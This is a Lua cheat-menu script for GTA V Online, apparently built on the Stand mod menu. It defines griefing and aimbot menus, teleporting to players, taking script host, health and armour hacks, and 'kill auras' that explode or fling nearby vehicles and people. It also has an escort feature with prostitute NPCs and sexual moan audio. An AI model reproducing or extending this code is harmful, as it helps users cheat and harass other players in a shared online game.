players_root = GT(G, "[玩家选项]", {}, "")
frendlist = GT(G, "[好友选项]", {""}, "", function(); end)
selflist = GT(G, "[自我选项]", {}, "", function(); end)
weapon_options = GT(G, "[武器选项]", {}, "")
pvphelp = GT(G, "[自瞄选项]", {""}, "")
carfly = GT(G, "[载具选项]", {}, "", function(); end)
visuals = GT(G, "[视觉选项]", {}, "")
custselc = GT(G, "[战局恶搞]", {}, "", function(); end)
onlinemode = GT(G, '[线上恢复]', {''}, '')
entity_options = GT(G, "[管理选项]", {}, "")
protex = GT(G, "[保护选项]", {}, "", function(); end)
funfeatures = GT(G, "[娱乐选项]", {}, "", function(); end)
detection = GT(G, "[检测选项]", {}, "", function(); end)
FY = GT(G, "[聊天选项]", {}, "", function(); end)
lobbyFeats = GT(G, "[世界选项]", {}, "")
Heist_Control = GT(G, "[任务选项]", {}, "")
Musiness_Banager = GT(G, "[自动资产]")
Constructor_Lua = GT(G, "[模组选项]")
other_options = GT(G, "[其他选项]")
--显示UI
GTD(players_root, "[玩家选项]")
GTD(selflist, "[自我选项]")
GTD(weapon_options, "[武器选项]")
GTD(carfly, "[载具选项]")
GTD(visuals, "[视觉选项]")
GTD(custselc, "[战局恶搞]")
GTD(onlinemode, "[线上恢复]")
GTD(entity_options, "[管理选项]")
GTD(protex, "[保护选项]")
GTD(funfeatures, "[娱乐选项]")
GTD(detection, "[检测选项]")
GTD(FY, "[聊天选项]")
GTD(lobbyFeats, "[世界选项]")
GTD(Musiness_Banager, "[自动资产]")
GTD(Constructor_Lua, "[模组选项]")
GTD(other_options, "[其他选项]")
--
local configFile <const> = filesystem.scripts_dir() .. '\\GTLuaScript\\'.. "config.ini"
--aalib = require("aalib")
--OpenMusic = aalib.play_sound
local SND_ASYNC<const> = 0x0001
local SND_FILENAME<const> = 0x00020000
resources_dir = filesystem.scripts_dir() .. 'GTLuaScript\\gt\\'
--OpenMusic(scripts_dir .. "GTLuaScript\\gt\\GT.wav", SND_FILENAME | SND_ASYNC)

function log(content)
if verbose then
util.log("[GTluaScript] " .. content)
end
end

if SCRIPT_MANUAL_START then
GTNB()
menu.trigger_commands("gtluascript")
end

local notification = b_notifications.new()
function notification(message, color)
C_HUD._THEFEED_SET_NEXT_POST_BACKGROUND_COLOR(color)
local picture = "CHAR_CHOP"
GRAPHICS.REQUEST_STREAMED_TEXTURE_DICT(picture, 0)
while not GRAPHICS.HAS_STREAMED_TEXTURE_DICT_LOADED(picture) do
wait()
end
util.BEGIN_TEXT_COMMAND_THEFEED_POST(message)
title = "~g~&#8721;GRANDTOURINGVIP&#8721;"
if color == colors.white or color == colors.white then
subtitle = "~g~&#8721;‹GT‹&#8721;"
elseif color == colors.white then
subtitle = "~g~&#8721;‹GT‹&#8721;"
else
subtitle = "~g~&#8721;‹GT‹&#8721;"
end
HUD.END_TEXT_COMMAND_THEFEED_POST_MESSAGETEXT(picture, picture, true, 4, title, subtitle)
HUD.END_TEXT_COMMAND_THEFEED_POST_TICKER(true, false)
util.log(message)
end
if filesystem.exists(configFile) then
for s, tbl in pairs(Ini.load(configFile)) do
for k, v in pairs(tbl) do
if Config[s] and Config[s][k] ~= nil then Config[s][k] = v end
end
end
util.log("配置已加载")
end
--[[notification("~g~欢迎使用GRANDTOURINGVIP", colors.pink)
util.on_stop(function()
notification("~g~脚本已关闭",colors.pink)
end)]]
focusref = {}
isfocused = false
selectedcolormenu = 0
colorselec = 1
allchatlabel = util.get_label_text("MP_CHAT_ALL")
teamchatlabel = util.get_label_text("MP_CHAT_TEAM")
CONFIG_DIR = filesystem.scripts_dir() .. 'GTLuaScript\\Dclog\\'
filesystem.mkdirs(CONFIG_DIR)
LEGACY_SPIN_LOG_FILE = CONFIG_DIR .. "spin_log.json"
SPIN_LOG_FILE = CONFIG_DIR .. "spin_log_".. players.get_rockstar_id(players.user()) .. ".json"
log_dir = filesystem.stand_dir() .. '\\Log.txt'
full_stdout = ""
disp_stdout = ""
max_chars = 200
max_lines = 25
font_size = 0.40

GTLuaScript=menu
util.keep_running()

local friends_in_session_list = GTLuaScript.list_action(players_root, "战局好友", {"friendsinsession"}, "", friends_in_this_session, function(pid, name) menu.trigger_commands("p" .. players.get_name(pid)) end)
local modders_in_session_list = GTLuaScript.list_action(players_root, "作弊玩家", {"moddersinsession"}, "", modders_in_this_session, function(pid, name) menu.trigger_commands("p" .. players.get_name(pid)) end)

util.create_tick_handler(function()
for _, pid in players.list(true, true, true) do 
local hdl = pid_to_handle(pid)
if NETWORK.NETWORK_IS_FRIEND(hdl) or players.user() == pid then 
if friends_in_this_session[pid] == nil then
friends_in_this_session[pid] = players.get_name(pid) .. ' [' .. players.get_tags_string(pid) .. ']'
GTLuaScript.set_list_action_options(friends_in_session_list, friends_in_this_session)
end
end

if players.is_marked_as_modder(pid) then 
if modders_in_this_session[pid] == nil then
modders_in_this_session[pid] = players.get_name(pid) .. ' [' .. players.get_tags_string(pid) .. ']'
GTLuaScript.set_list_action_options(modders_in_session_list, modders_in_this_session)
end
end
end
end)
GTAC = GTluaScript.action
GTAC(players_root, "战局玩家", {}, "", function(click_type)
GTLuaScript.trigger_command(GTLuaScript.ref_by_path('Players', 37))
end)

GTD(frendlist, "[好友列表]")
for i = 0, get_friend_count() do
local name = get_frined_name(i)
if name == "*****" then goto yes end
gen_fren_funcs(name)
::yes::
end

player_info  = GT(players_root, '玩家信息栏', {''}, '开启后请在玩家列表中查看玩家信息')
InfoLoads = GTAC(player_info, "启动玩家信息栏显示", {""}, "", function()
notification("正在加载玩家信息,请稍等")
wait(100)
dofile(filesystem.scripts_dir().."\\lib\\GTSCRIPTS\\I.lua")
GTLuaScript.delete(InfoLoads)
end)
require "lib.GTSCRIPTS.P"

click_bot = GT(players_root,"自动点击", {''}, '自动帮助您进行点击')
simulate_left_click_delay = 30
GTLP(click_bot, "自动鼠标左键点击", { "left_click" }, "用于拿取目标财物时",
function()
if TASK.GET_IS_TASK_ACTIVE(players.user_ped(), 135) then
PAD.SET_CONTROL_VALUE_NEXT_FRAME(0, 237, 1)
wait(simulate_left_click_delay)
end
end)
GTLuaScript.slider(click_bot, "自动点击延迟", { "delay_left_click" }, "单位: ms", 0, 5000, 30, 10,
function(value)
simulate_left_click_delay = value
end)

kdr = GT(players_root, "设置KD值", {}, "请注意，这不是虚假KD")
require "lib.GTSCRIPTS.GTA.kd"

GTAC(players_root, "卡云自救", {}, "当您加载卡云时无法卡单\n又不想强制退到故事模式\n可以试试点击它...", function()
if NETWORK.NETWORK_CAN_BAIL() then
NETWORK.NETWORK_BAIL(0, 0, 0)
end
end)

GTAC(players_root, "成为脚本主机",{"getscriptshost"},"适用于Stand基础版用户",function()
    local InSession = function() return util.is_session_started() and not util.is_session_transition_active() end
    if InSession() then
        menu.trigger_commands("givesh"..players.get_name(players.user()))
    end
end)

--
specialability = GTLP(players_root, "无限特殊能力", {}, "", function()
	PLAYER.SPECIAL_ABILITY_FILL_METER(PLAYER.PLAYER_ID(), true)
end)
util.create_tick_handler(function()
	if not NETWORK.NETWORK_IS_SESSION_STARTED() and successself then 
		menu.set_visible(specialability, true)
	end
	if NETWORK.NETWORK_IS_SESSION_STARTED() and successself then 
		menu.set_visible(specialability, false)
	end
end)
--路车拦截
function requestControlLoop(entity)
	local tick = 0
	while not NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(entity) and tick < 25 do
		wait()
		NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(entity)
		tick = tick + 1
	end
	if NETWORK.NETWORK_IS_SESSION_STARTED() then
		local netId = NETWORK.NETWORK_GET_NETWORK_ID_FROM_ENTITY(entity)
		NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(entity)
		NETWORK.SET_NETWORK_ID_CAN_MIGRATE(netId, true)
	end
end
easyenter = off
GTTG(players_root, "自动拦截NPC载具", {}, "当您在马路上按F拦截一辆正在行驶的车辆时,此选项会帮助您自动将正在行驶的车辆强制停止", function(on)
	easyenter = on
	while easyenter do
		if not (PED.GET_VEHICLE_PED_IS_TRYING_TO_ENTER(plyped()) == 0) then
			requestControlLoop(PED.GET_VEHICLE_PED_IS_TRYING_TO_ENTER(plyped()))
			VEHICLE.BRING_VEHICLE_TO_HALT(PED.GET_VEHICLE_PED_IS_TRYING_TO_ENTER(plyped()), 0, 1)
		end
		wait()
	end
end)
--牛皋
local GetOn = function(on) if on then return "on" else return "off" end end
auto_bst = GTLP(players_root,"智能开启牛鲨睾酮",{},("当您关闭无敌模式跟战局玩家打架时\n此选项会帮助您自动开启牛睾丸模式"),function()
    local on = GetOn(WEAPON.IS_PED_ARMED(players.user_ped(),7))
    menu.trigger_commands("bst "..on)
    wait(100)
end,function()
    menu.trigger_commands("bst off")
end)
--
GTAC(players_root, "进入距离最近的车辆", {}, "", function()
	if not PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false) then
		local player_pos = players.get_position(players.user())
		local veh = ent_func.getClosestVehicle(player_pos)
		local ped = VEHICLE.GET_PED_IN_VEHICLE_SEAT(veh, -1, true)
		if PED.IS_PED_A_PLAYER(ped) then
			util.toast("一个玩家正在一个最近的车辆中")
		else
		    entities.delete_by_handle(ped)
			PED.SET_PED_INTO_VEHICLE(players.user_ped(), veh, -1)
		end
	end
end)

GTAC(players_root,("传送到距离最近的玩家"), {}, "", function()
	local user_pos = players.get_position(players.user())
	local player = ent_func.getClosestPlayer(user_pos)
    if player ~= nil then
        if not PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false) then
            local player_pos = players.get_position(player)
            ENTITY.SET_ENTITY_COORDS(players.user_ped(), player_pos.x, player_pos.y, player_pos.z, false, false, false, false)
        else
            local player_pos = players.get_position(player)
            local user_vehicle = ent_func.get_vehicle_from_ped(players.user_ped())
            if user_vehicle ~= 0 then
                ENTITY.SET_ENTITY_COORDS(user_vehicle, player_pos.x, player_pos.y, player_pos.z, false, false, false, false)
            end
        end
    end
end)

--杀戮光环
aura_list = GT(players_root,("杀戮光环"), {}, "在设定范围内产生效果")

aura_radius = 20
GTluaScript.slider(aura_list,("光环范围"), {"killaura"}, "", 5, 100, 20, 1, function(count)
    aura_radius = count
end)

GTLP(aura_list,("爆炸光环"), {}, "", function()
    local vehicles = entities.get_all_vehicles_as_handles()
    local user_vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), true)
    for _, vehicle in pairs(vehicles) do
        if vehicle ~= user_vehicle then
            local vehicle_pos = ENTITY.GET_ENTITY_COORDS(vehicle)
            if ent_func.get_distance_between(players.user_ped(), vehicle_pos) <= aura_radius then
                if VEHICLE.GET_VEHICLE_ENGINE_HEALTH(vehicle) >= 0 then
                    FIRE.ADD_EXPLOSION(vehicle_pos.x, vehicle_pos.y, vehicle_pos.z, 1, 1, false, true, 0.0, false)
                end
            end
        end
    end
    local peds = entities.get_all_peds_as_handles()
	for _, ped in pairs(peds) do
        if ped ~= players.user_ped() then
            local ped_pos = ENTITY.GET_ENTITY_COORDS(ped, false)
		    if ent_func.get_distance_between(players.user_ped(), ped_pos) <= aura_radius then
                if not PED.IS_PED_DEAD_OR_DYING(ped, true) then
		    	    FIRE.ADD_EXPLOSION(ped_pos.x, ped_pos.y, ped_pos.z, 1, 1, false, true, 0.0, false)
                end
		    end
        end
	end
end)

GTLP(aura_list,("排斥光环"), {}, "", function()
    local vehicles = entities.get_all_vehicles_as_handles()
    local user_vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), true)
    for _, vehicle in pairs(vehicles) do
        if vehicle ~= user_vehicle then
            local vehicle_pos = ENTITY.GET_ENTITY_COORDS(vehicle)
            if ent_func.get_distance_between(players.user_ped(), vehicle_pos) <= aura_radius then
                local rel = v3.new(vehicle_pos)
                --subtract your pos from rel--
                rel:sub(players.get_position(players.user()))
                --scales the v3 to have a length of 1--
                rel:normalise()
                ENTITY.APPLY_FORCE_TO_ENTITY(vehicle, 3, rel.x, rel.y, rel.z, 0.0, 0.0, 1.0, 0, false, false, true, false, false)
            end
        end
    end
    local peds = entities.get_all_peds_as_handles()
	for _, ped in pairs(peds) do
        if ped ~= players.user_ped() then
            local ped_pos = ENTITY.GET_ENTITY_COORDS(ped, false)
		    if ent_func.get_distance_between(players.user_ped(), ped_pos) <= aura_radius then
                local rel = v3.new(ped_pos)
                --subtract your pos from rel--
                rel:sub(players.get_position(players.user()))
                --scales the v3 to have a length of 1--
                rel:normalise()
                PED.SET_PED_TO_RAGDOLL(ped, 2500, 0, 0, false, false, false)
		    	ENTITY.APPLY_FORCE_TO_ENTITY(ped, 3, rel.x, rel.y, rel.z, 0.0, 0.0, 1.0, 0, false, false, true, false, false)
		    end
        end
	end
end)

GTLP(aura_list,("吸附光环"), {}, "", function()
    local vehicles = entities.get_all_vehicles_as_handles()
    local user_vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), true)
    for _, vehicle in pairs(vehicles) do
        if vehicle ~= user_vehicle then
            local vehicle_pos = ENTITY.GET_ENTITY_COORDS(vehicle)
            if ent_func.get_distance_between(players.user_ped(), vehicle_pos) <= aura_radius then
                local rel = v3.new(vehicle_pos)
                --subtract your pos from rel--
                rel:sub(players.get_position(players.user()))
                --scales the v3 to have a length of 1--
                rel:normalise()
                ENTITY.APPLY_FORCE_TO_ENTITY(vehicle, 3, -rel.x, -rel.y, -rel.z, 0.0, 0.0, 1.0, 0, false, false, true, false, false)
            end
        end
    end
    local peds = entities.get_all_peds_as_handles()
	for _, ped in pairs(peds) do
        if ped ~= players.user_ped() then
            local ped_pos = ENTITY.GET_ENTITY_COORDS(ped, false)
		    if ent_func.get_distance_between(players.user_ped(), ped_pos) <= aura_radius then
                local rel = v3.new(ped_pos)
                --subtract your pos from rel--
                rel:sub(players.get_position(players.user()))
                --scales the v3 to have a length of 1--
                rel:normalise()
                PED.SET_PED_TO_RAGDOLL(ped, 2500, 0, 0, false, false, false)
		    	ENTITY.APPLY_FORCE_TO_ENTITY(ped, 3, -rel.x, -rel.y, -rel.z, 0.0, 0.0, 1.0, 0, false, false, true, false, false)
		    end
        end
	end
end)

GTLP(aura_list,("冻结光环"), {}, "", function()
    local vehicles = entities.get_all_vehicles_as_handles()
    local user_vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), true)
    for _, vehicle in pairs(vehicles) do
        if vehicle ~= user_vehicle then
            local vehicle_pos = ENTITY.GET_ENTITY_COORDS(vehicle)
            if ent_func.get_distance_between(players.user_ped(), vehicle_pos) <= aura_radius then
                ENTITY.FREEZE_ENTITY_POSITION(vehicle, true)
            else
                ENTITY.FREEZE_ENTITY_POSITION(vehicle, false)
            end
        end
    end
    local peds = entities.get_all_peds_as_handles()
	for _, ped in pairs(peds) do
        if ped ~= players.user_ped() then
            local ped_pos = ENTITY.GET_ENTITY_COORDS(ped, false)
		    if ent_func.get_distance_between(players.user_ped(), ped_pos) <= aura_radius then
                if not PED.IS_PED_IN_ANY_VEHICLE(ped, false) then
                    TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                end
                ENTITY.FREEZE_ENTITY_POSITION(ped, true)
            else
                ENTITY.FREEZE_ENTITY_POSITION(ped, false)
            end
        end
	end
end)

GTLP(aura_list,("弹射光环"), {}, "", function()
    local vehicles = entities.get_all_vehicles_as_handles()
    local user_vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), true)
    for _, vehicle in pairs(vehicles) do
        if vehicle ~= user_vehicle then
            local vehicle_pos = ENTITY.GET_ENTITY_COORDS(vehicle)
            if ent_func.get_distance_between(players.user_ped(), vehicle_pos) <= aura_radius then
                local rel = v3.new(vehicle_pos)
                --subtract your pos from rel--
                rel:sub(players.get_position(players.user()))
                --turn rel into a rot--
                local rot = rel:toRot()
                ENTITY.SET_ENTITY_ROTATION(vehicle, rot.x, rot.y, rot.z, 2, false)
                VEHICLE.SET_VEHICLE_FORWARD_SPEED(vehicle, 100)
            end
        end
    end
    local peds = entities.get_all_peds_as_handles()
	for _, ped in pairs(peds) do
        if ped ~= players.user_ped() then
            local ped_pos = ENTITY.GET_ENTITY_COORDS(ped, false)
		    if ent_func.get_distance_between(players.user_ped(), ped_pos) <= aura_radius then
                local rel = v3.new(ped_pos)
                --subtract your pos from rel--
                rel:sub(players.get_position(players.user()))
                --multiply rel with 100--
                rel:mul(100)
                PED.SET_PED_TO_RAGDOLL(ped, 2500, 0, 0, false, false, false)
		    	ENTITY.APPLY_FORCE_TO_ENTITY(ped, 3, rel.x, rel.y, rel.z, 0, 0, 1.0, 0, false, false, true, false, false)
            end
        end
	end
end)
--
require "lib.GTSCRIPTS.GTA.wd3"
--
Weapon_Cam_Gun = GT(weapon_options, "视野范围枪")
require "lib.GTSCRIPTS.GTA.eg"
--
wea_func = GT(weapon_options, '实用选项', {}, '大部分武器选项都在这里~')
--枪械玩乐
bullet_reactions_list = GT(weapon_options,("枪械玩乐"))

GTLP(bullet_reactions_list,("射击车辆时加速"), {}, "", function()
    if PED.IS_PED_SHOOTING(players.user_ped()) then
        local entity = ent_func.get_entity_player_is_aiming_at(players.user())
        if entity ~= 0 then
            if ENTITY.IS_ENTITY_A_VEHICLE(entity) then
                VEHICLE.SET_VEHICLE_FORWARD_SPEED(entity, 100)
            end
        end
    end
end)

GTLP(bullet_reactions_list,("射击时爆炸实体"), {}, "", function()
    if PED.IS_PED_SHOOTING(players.user_ped()) then
        local entity = ent_func.get_entity_player_is_aiming_at(players.user())
        if entity ~= 0 then
            if ENTITY.IS_ENTITY_A_VEHICLE(entity) then
                VEHICLE.EXPLODE_VEHICLE(entity, true, false)
            elseif ENTITY.IS_ENTITY_A_PED(entity) then
                local Position = ENTITY.GET_ENTITY_COORDS(entity, false)
                FIRE.ADD_EXPLOSION(Position.x, Position.y, Position.z, 1, 1.0, true, false, 1.0, false)
            end
        end
    end
end)

GTLP(bullet_reactions_list,("射击时冻结实体"), {}, "", function()
    if PED.IS_PED_SHOOTING(players.user_ped()) then
        local entity = ent_func.get_entity_player_is_aiming_at(players.user())
        if entity ~= 0 then
            ENTITY.FREEZE_ENTITY_POSITION(entity, true)
        end
    end
end)

GTLP(bullet_reactions_list,("射击车辆时移除重力"), {}, "", function()
    if PED.IS_PED_SHOOTING(players.user_ped()) then
        local entity = ent_func.get_entity_player_is_aiming_at(players.user())
        if entity ~= 0 then
            if ENTITY.IS_ENTITY_A_VEHICLE(entity) then
                VEHICLE.SET_VEHICLE_GRAVITY(entity, false)
            else
                ENTITY.SET_ENTITY_HAS_GRAVITY(entity, false)
            end
        end
    end
end)

driveit = off
GTTG(bullet_reactions_list, "车辆进入枪", {}, "瞄准车辆后按F进入", function(on)
	driveit = on
	while driveit do
		driveitgun()
		wait()
	end
end)
--
GTLP(players_root, "屏蔽错误警告", {"accepterrorstr"}, "", function()
    mess_hash = C_CCHUD.GET_WARNING_SCREEN_MESSAGE_HASH()
    if mess_hash == -896436592 then
        util.toast("This player left the session.")
        PAD.SET_CONTROL_VALUE_NEXT_FRAME(2, 201, 1)
    elseif mess_hash == 1575023314 then
        util.toast("Session timeout.")
        PAD.SET_CONTROL_VALUE_NEXT_FRAME(2, 201, 1)
    elseif mess_hash == 1446064540 then
        util.toast("You are already in the session.")
        PAD.SET_CONTROL_VALUE_NEXT_FRAME(2, 201, 1)
--                  transaction error              join session             join session            leave session             leave online
    elseif mess_hash == -991495373 or mess_hash == -587688989 or mess_hash == 15890625 or mess_hash == 99184332 or mess_hash == 1246147334 then
        PAD.SET_CONTROL_VALUE_NEXT_FRAME(2, 201, 1)
    elseif mess_hash ~= 0 then
        util.toast(mess_hash, TOAST_CONSOLE)
    end
    wait()
end)

--
--
interior_noclip = GT(selflist, "室内悬浮速度")
noclip_speed = 0.10
menu.slider_float(interior_noclip, "设置速度", {"setinterspeed"}, "", 10, 10000, 10, 10, function(value)
    noclip_speed = value / 100
end)

levitate_multiplier = 1
menu.slider_float(interior_noclip, "设置倍数", {"setintercount"}, "", 10, 10000, 100, 10, function(value)
    levitate_multiplier = value / 100
end)

local noclip_thing
noclip_thing = GTLP(interior_noclip, "启用", {"enableinterlea"}, "", function()
    local speed_val = menu.ref_by_path("Self>Movement>Levitation>Movement Speed")
    local sprint_val = menu.ref_by_path("Self>Movement>Levitation>Sprint Multiplier")
    if GET_INTERIOR_FROM_PLAYER(players.user()) != 0 then
        menu.trigger_commands("levitatespeed " .. noclip_speed)
        menu.trigger_commands("levitatesprintmultiplier " .. levitate_multiplier)
    else
        if speed_val != speed then
            menu.trigger_commands("levitatespeed " .. speed / 100)
        end
        if sprint_val != sprint then
            menu.trigger_commands("levitatesprintmultiplier " .. sprint / 100)
        end
    end
end, function()
    menu.trigger_commands("levitatespeed " .. speed / 100)
    menu.trigger_commands("levitatesprintmultiplier " .. sprint / 100)
end)

fb = GT(selflist,"恶搞玩乐", {}, "非常有趣喔~")
require "lib.GTSCRIPTS.GTA.blackhold"

local healthandprotex = GT(selflist, "生命选项", {}, "", function(); end)
local helperingame = GT(selflist, "增强选项", {}, "", function(); end)
local funfeatures_self = GT(selflist, '自我娱乐', {}, '')
local escort_root = GT(selflist, "NPC护送", {""}, "")
local aimkarma = GT(selflist, "瞄准反击", {}, "", function(); end)

all_female_sex_voicenames = {
    "S_F_Y_HOOKER_01_WHITE_FULL_01",
    "S_F_Y_HOOKER_01_WHITE_FULL_02",
    "S_F_Y_HOOKER_01_WHITE_FULL_03",
    "S_F_Y_HOOKER_02_WHITE_FULL_01",
    "S_F_Y_HOOKER_02_WHITE_FULL_02",
    "S_F_Y_HOOKER_02_WHITE_FULL_03",
    "S_F_Y_HOOKER_03_BLACK_FULL_01",
    "S_F_Y_HOOKER_03_BLACK_FULL_03",
}
 female_speeches = {
    "SEX_GENERIC_FEM",
    "SEX_HJ",
    "SEX_ORAL_FEM",
    "SEX_CLIMAX",
    "SEX_GENERIC"
}

GTLP(escort_root, "女性呻吟", {"fsexmoan"}, "", function(on_click)
    moan(players.get_position(players.user()), 'f')
    wait(1500)
end)

GTLP(escort_root, "女性呻吟", {"msexmoan"}, "", function(on_click)
    moan(players.get_position(players.user()), 'm')
    wait(1500)
end)

 custom_hooker_model = 'ig_lestercrest'
GTLuaScript.text_input(escort_root, "自定义模型", {"customescortmdl"}, "更改模型样式,随后请求护送", function(on_input)
    custom_hooker_model = on_input
end, 'ig_lestercrest')

 custom_hooker_options = {"人物1", "人物2", "人物3", "人物4", "我的克隆", "女性化的男性", "自定义"}
GTLuaScript.list_action(escort_root, "请求护送", {"requestescort"}, "", custom_hooker_options, function(index)
    local hooker
    local c
    pluto_switch index do
        case 1:
            c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), -5.0, 0.0, 0.0)
            request_model_load(util.joaat('a_f_y_topless_01'))
            hooker = entities.create_ped(28, util.joaat('a_f_y_topless_01'), c, math.random(270))
            break
        case 2:
            c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), -5.0, 0.0, 0.0)
            request_model_load(util.joaat('cs_tracydisanto'))
            hooker = entities.create_ped(28, util.joaat('cs_tracydisanto'), c, math.random(270))
            break
        case 3:
            c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), -5.0, 0.0, 0.0)
            request_model_load(util.joaat('ig_paige'))
            hooker = entities.create_ped(28, util.joaat('ig_paige'), c, math.random(270))
            break
        case 4:
            c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), -5.0, 0.0, 0.0)
            request_model_load(util.joaat('s_f_y_bartender_01'))
            hooker = entities.create_ped(28, util.joaat('s_f_y_bartender_01'), c, math.random(270))
            break
        case 5:
            hooker = PED.CLONE_PED(players.user_ped(), true, true, true)
            break
        case 6:
            c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), -5.0, 0.0, 0.0)
            request_model_load(util.joaat('u_m_y_staggrm_01'))
            hooker = entities.create_ped(28, util.joaat('u_m_y_staggrm_01'), c, math.random(270))
            break
        case 7:
            c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), -5.0, 0.0, 0.0)
            request_model_load(util.joaat(custom_hooker_model))
            hooker = entities.create_ped(28, util.joaat(custom_hooker_model), c, math.random(270))
            break
    end
    local c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), -5.0, 0.0, 0.0)
    ENTITY.SET_ENTITY_COORDS(hooker, c.x, c.y, c.z)
    TASK.TASK_START_SCENARIO_IN_PLACE(hooker, "WORLD_HUMAN_PROSTITUTE_HIGH_CLASS", 0, false)
    util.toast("Your escort has arrived to your left.")
end)

function moan(pos, gender)
    util.create_thread(function()
        local hash = util.joaat('s_f_y_hooker_01')
        request_model_load(hash)
        local new_ped = entities.create_ped(28, hash, pos, 0)
        ENTITY.SET_ENTITY_VISIBLE(new_ped, false, 0)
        ENTITY.SET_ENTITY_INVINCIBLE(new_ped, true)
        local voice_name
        local speech_nam
        if gender == 'f' then
            voice_name = all_female_sex_voicenames[math.random(#all_female_sex_voicenames)]
            speech_name = female_speeches[math.random(#female_speeches)]
        else
            voice_name = "MICHAEL_NORMAL"
            speech_name = "SEX_GENERIC"
        end
        AUDIO.PLAY_PED_AMBIENT_SPEECH_WITH_VOICE_NATIVE(new_ped, speech_name, voice_name, "SPEECH_PARAMS_FORCE", 0)
        local st_time = os.time()
        while true do 
            if os.time() - st_time >= 5 then 
                entities.delete(new_ped)
                util.stop_thread()
            end
            local c = players.get_position(players.user())
            ENTITY.SET_ENTITY_COORDS(new_ped, c.x, c.y, c.z+3, false, false, false, false)
            wait()
        end
    end)
end

    local self_options_CUSTOM = GT(healthandprotex, "自定义血量护甲", {}, "")

    GTD(self_options_CUSTOM, "Health")

    GTTG(self_options_CUSTOM, "自定义最大生命值", {}, "改变你的最大生命值。一些菜单会将你标记为作弊者。当它被禁用时，它会返回到默认的最大生命值。", function(toggle)
        custom_health(toggle)
    util.create_tick_handler(function()
        if PED.GET_PED_MAX_HEALTH(PLAYER.PLAYER_PED_ID()) ~= moddedHealth then
            PED.SET_PED_MAX_HEALTH(PLAYER.PLAYER_PED_ID(), moddedHealth)
            ENTITY.SET_ENTITY_HEALTH(PLAYER.PLAYER_PED_ID(), moddedHealth)
        end
        return UsingModHealth
    end)
end)

    moddedHealthSlider = GTLuaScript.slider(self_options_CUSTOM, "最大生命值", { "rsetmaxhealth" }, "生命值将被修改为指定的数值", 50, 30000, defaultHealth, 50, function(value)
        setcustomhealth(value)
    end)
    
GTD(self_options_CUSTOM, "Armour")

    GTTG(self_options_CUSTOM, "自定义最大护甲值", {}, "改变你的最大护甲值。一些菜单会将你标记为作弊者。当它被禁用时，它会返回到默认的最大护甲值。", function(toggle)
        custom_armor(toggle)
    util.create_tick_handler(function()
        if PLAYER.GET_PLAYER_MAX_ARMOUR(PLAYER.PLAYER_ID()) ~= moddedArmour then
            PLAYER.SET_PLAYER_MAX_ARMOUR(PLAYER.PLAYER_ID(), moddedArmour)
        end
        return UsingModArmour
    end)
end)
    
    moddedArmourSlider = GTLuaScript.slider(self_options_CUSTOM, "最大护甲值", { "rsetmaxarmour" }, "护甲将被修改为指定的数值", 50, 30000, defaultArmour, 50, function(value)
        setcustomarmor(value)
    end)

    local self_options_CUSTOM_refill = GT(healthandprotex, "自定义生命恢复", {}, "")
    
    GTD(self_options_CUSTOM_refill, "站立不动状态")

    GTTG(self_options_CUSTOM_refill, "功能开启", {}, "", function(toggle)
    standhealthon(toggle)
    end)
    
    GTLuaScript.slider(self_options_CUSTOM_refill, "恢复程度", { "normal_refill_limit" }, "恢复到血量的多少，单位%\n默认：25%", 1, 100, 25, 10, function(value)
        standhpmode(value)
    end)
    
    GTLuaScript.slider(self_options_CUSTOM_refill, "恢复速度", { "normal_refill_mult" }, "恢复速度\n默认：1.0", 1.0, 100.0, 1.0, 1.0, function(value)
        standhpmodetime(value)
    end)
    
    GTD(self_options_CUSTOM_refill, "掩体状态")
    
    
    GTTG(self_options_CUSTOM_refill, "功能开启", {}, "", function(toggle)
        hidehealthon(toggle)
    end)
    
    GTLuaScript.slider(self_options_CUSTOM_refill, "恢复程度", { "cover_refill_limit" }, "恢复到血量的多少，单位%\n默认：25%", 1, 100, 25, 10, function(value)
        hidehpmode(value)
    end)
    
    GTLuaScript.slider(self_options_CUSTOM_refill, "恢复速度", { "cover_refill_mult" }, "恢复速度\n默认：1.0", 1.0, 100.0, 1.0, 1.0, function(value)
        hidehpmodetime(value)
    end)
    

GTAC(healthandprotex, "补充血量", {"maxhealth"}, "", function()
	ENTITY.SET_ENTITY_HEALTH(players.user_ped(), PED.GET_PED_MAX_HEALTH(players.user_ped()), 0)
end)

GTAC(healthandprotex, "补充护甲", {"maxarmour"}, "", function()
    if util.is_session_started() then
		PED.SET_PED_ARMOUR(players.user_ped(), 50)
	else
		PED.SET_PED_ARMOUR(players.user_ped(), 100)
	end
end)

GTLP(healthandprotex, '自动加血', {'JSfullRegen'}, '一直加血直到您的血被加满.', function()
    autocover()
end)

GTLP(healthandprotex, "在掩体后时补充生命值", {"healincover"}, "", function()
    healthincover()
end, function ()
	PLAYER._SET_PLAYER_HEALTH_RECHARGE_LIMIT(players.user(), 0.25)
	PLAYER.SET_PLAYER_HEALTH_RECHARGE_MULTIPLIER(players.user(), 1.0)
end)

local toLockHealth = defaultHealth * 0.5
GTTG(healthandprotex, "当血量过低时锁定", {}, "当你的血量低于你设置的值后，锁定你的血量，以免死亡", function(toggle)
    islockHealth = toggle
    local localPed = PLAYER.PLAYER_PED_ID()
    local currentHealth
    util.create_tick_handler(function()
        if islockHealth then
            currentHealth = ENTITY.GET_ENTITY_HEALTH(localPed)
